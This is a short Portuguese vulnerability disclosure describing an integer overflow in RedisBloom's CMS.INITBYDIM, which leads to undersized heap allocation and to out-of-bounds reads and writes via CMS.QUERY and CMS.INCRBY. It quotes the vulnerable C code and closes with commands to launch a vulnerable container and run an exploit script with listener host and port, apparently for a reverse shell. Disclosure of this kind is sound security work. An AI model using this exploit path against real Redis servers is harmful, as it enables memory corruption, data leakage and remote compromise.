
Existe uma vulnerabilidade de estouro de inteiro no RedisBloom (https://github.com/RedisBloom/RedisBloom), que é um módulo utilizado no redis (https://redis.io/docs/latest/develop/data-types/probabilistic/bloom-filter/). A vulnerabilidade de estouro de inteiro permite que um atacante (um cliente redis que conhece a senha) aloque menos memória no heap do que a memória necessária, devido ao wraparound. Em seguida, leitura e escrita podem ser realizadas além dessa memória alocada, levando a vazamento de informações e à escrita OOB.
O estouro de inteiro está no comando CMS.INITBYDIM, que inicializa um Count-Min Sketch com dimensões especificadas pelo usuário. Ele aceita dois valores (width e depth) e os utiliza para alocar memória em NewCMSketch().
Arquivo: src/cms.c
CMSketch *NewCMSketch(size_t width, size_t depth) {
assert(width > 0);
assert(depth > 0);
CMSketch *cms = CMS_CALLOC(1, sizeof(CMSketch));
cms->width = width;
cms->depth = depth;
cms->counter = 0;
cms->array = CMS_CALLOC(width * depth, sizeof(uint32_t));
return cms;
}
A leitura OOB é alcançada através do comando CMS.QUERY implementado em CMS_Query().
A escrita OOB é alcançada através do comando CMS.INCRBY implementado em CMS_IncrBy().
Para análise completa, consulte o aviso
docker run -p 6379:6379 --name redis-stack redis/redis-stack:7.2.0-v10
python exploit.py --host 172.17.0.2 --port 6379 --lhost 172.17.0.1 --lport 4444